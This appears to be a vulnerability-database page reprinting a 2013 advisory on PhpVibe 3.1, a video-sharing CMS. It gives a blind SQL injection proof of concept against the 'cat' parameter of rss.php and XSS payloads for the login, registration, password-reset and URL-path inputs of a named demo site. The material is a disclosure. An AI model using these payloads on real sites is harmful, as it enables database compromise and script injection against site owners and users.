PhpVibe 3.1 Cross Site Scripting / SQL Injection

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1044602 漏洞类型
发布时间 2013-08-16 更新时间 2013-08-16
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2013080139
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
###########################################################################################
#Exploit Title: PhpVibe 3.1 - Multiples Vulnerabilites
#Product: PhpVibe
#Official site: http://phprevolution.com/
#Risk Level: High 
#Exploit Author: Esac
#Demo : http://playviralvideos.com
#Last Checked: 13/08/2013
###########################################################################################


+----------+
| OVERVIEW |
+----------+

PhpVibe is a Premium video sharing cms with or without upload. Supports all main video sharing websites like Youtube, Vimeo, Dailymotion, Metacafe and flv, mp4, mp3 uploads. No ffmpeg required. Upload option can be turned off.

+-----------------------------------------------------------------------------------+

+---------------------------------+
| Error-Based Blind SQL Injection |
+---------------------------------+
 
PhpVibe is possibly vulnerable to SQL Injection attacks , affected file : rss.php , param : cat

Poc :

http://localhost/rss.php?cat= -1' or 2='2
==> return normal page

http://localhost/rss.php?cat= -1' or 2='3
==> return page with some errors ( or page without error but with content changed )

+---------------------------------+
The impact of this vulnerability  |
+---------------------------------+

An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information. 

+--------------------------------------------------------------------------------------+

+-----------+
|XSS Attack |
+-----------+

Poc :

http://playviralvidXeos.com/show/'">><marquee><h1>XSS</h1></marquee>
http://playviraXlvideos.com/forgot-pass.php   => POST (multipart) input email was set to '">><script>alert('XSS')</script>
http://playviralvXideos.com/login.php         => POST (multipart) input email was set to '">><script>alert('XSS')</script>
http://playviraXlvideos.com/register.php      => POST (multipart) input email was set to '">><script>alert('XSS')</script>


+--------------------------------------------------------------------------------------+

==> Made In Moroco <==
Greetz : White Tarbouch TEAM - Cobra 
./Issam IEBOUBEN Aka Esac